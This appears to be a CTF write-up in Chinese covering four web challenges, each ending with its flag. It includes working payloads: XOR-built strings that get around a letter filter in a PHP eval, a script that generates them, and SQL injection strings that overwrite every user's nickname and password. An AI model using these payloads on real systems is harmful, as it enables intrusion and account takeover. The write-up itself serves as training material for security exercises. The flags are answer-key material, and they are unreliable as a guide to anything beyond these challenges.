checkin
考点:反序列化,弱比较,php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php show_source(__FILE__); $username = "this_is_secret"; $password = "this_is_not_known_to_you"; include("flag.php");//here I changed those two $info = isset($_GET['info'])? $_GET['info']: "" ; $data_unserialize = unserialize($info); if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){ echo $flag; }else{ echo "username or password error!"; } ?>
代码审计,只需要传入的info的username和password值与变量的值弱比较。
这里很容易想到相等(强比较),但是其实是弱比较,而且根据提示可以知道这两个变量的值会改变,所以我们不知道确切的值,直接构造赋值0和1,最后发现0和0成功了,所以这两个变量改变了后还是字符串
NSSCTF{29cf034a-9052-4aec-b776-b1c8b18b82f5}
HowToGetShell
考点:无字母rce,php
1 2 3 4 5 6 7 <?php show_source(__FILE__); $mess=$_POST['mess']; if(preg_match("/[a-zA-Z]/",$mess)){ die("invalid input!"); } eval($mess);
过滤了所有字母,但有字母,可以使用异或绕过。脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ " #可以用的符号 answer = "phpinfo" #要构造的命令 tmp1,tmp2 = '','' for c in answer: for i in valid: for j in valid: if (ord(i)^ord(j) == ord(c)): tmp1 += i tmp2 += j break else: continue break print(tmp1,tmp2) //0302181 @[@[_^^ ,所以传入"0302181"^"@[@[_^^"
payload:
1 mess=$_="0302181"^"@[@[_^^";$_();
NSSCTF{3290ae33-f255-4d6b-9bba-2b1be6ddd485}
Calculate
考点:python,web,脚本编写
直接上脚本吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requests from bs4 import BeautifulSoup import re import time # 假设这是我们要与之交互的网站的URL url = 'http://node5.anna.nssctf.cn:28984/' # 请替换为实际的URL # 创建一个会话来保持cookie和其他会话信息 session = requests.Session() # 正则表达式模式来匹配数字或运算符,它们被<div>标签包围 pattern = re.compile(r'<div[^>]*?>([0-9+\-*\/=]+)</div>') # 循环直到我们找到包含关键词"ctf"的页面 for i in range(20): # 发送GET请求来获取当前页面 response = session.get(url) html_content = response.text # 使用BeautifulSoup解析HTML内容 soup = BeautifulSoup(html_content, 'html.parser') # 查找所有包含数字或运算符的<div>标签 divs = soup.find_all('div', text=re.compile(r'[0-9+\-*\/=]')) # 使用正则表达式从标签中提取数字或运算符 tokens = pattern.findall(str(divs)) # 拼接成一个数学表达式(注意:这里假设表达式是简单的,没有括号) # 我们需要去除任何多余的空格和可能的=符号(它可能是表达式的一部分或用于提示用户输入) # 并且我们假设=符号后面不会紧跟数字或运算符(即它是表达式的结尾) expression_parts = [token for token in tokens if token != '='] expression = ''.join(expression_parts).replace(' ', '') print(expression) # 计算表达式的值(注意:这里使用eval有安全风险,但在本例中为了简化而使用) try: result = eval(expression) except Exception as e: print(f"Error evaluating expression '{expression}': {e}") break # 为了避免过快地发送请求,我们添加了一个短暂的延迟(至少1秒) # 根据题目要求,我们不能在1秒内回答一个问题,所以这里使用0.5秒的延迟 time.sleep(1.1) # 准备POST数据 post_data = {'ans': result} print(result) # 发送POST请求将答案发送回服务器 post_response = session.post(url, data=post_data) # 检查响应内容是否包含关键词"ctf" print(post_response.text) # 关闭会话 session.close()
NSSCTF{32a5eadd-b078-4e0c-9570-1b2852476085}
ezsql
考点:sql注入
先扫一下目录,发现源码,审计源码,发现sql注入
根据提示,存在sql注入,直接sqlmap扫
发现在年龄处存在sql注入漏洞,且根据payload可以看出是数字型注入
1 2 3 4 5 6 修改当前表所有nickname为444 nickname=aa&age=11,nickname=444%23&description=111&token= 修改当前表所有password为123 nickname=aa&age=11,password=0x3230326362393632616335393037356239363462303731353264323334623730%23&description=111&token= #0x3230326362393632616335393037356239363462303731353264323334623730=hex(md5(‘123’)) #urlencode(#)=%23
NSSCTF{3a6a5fad-87c3-4a7a-a6b6-35f1a532b42e}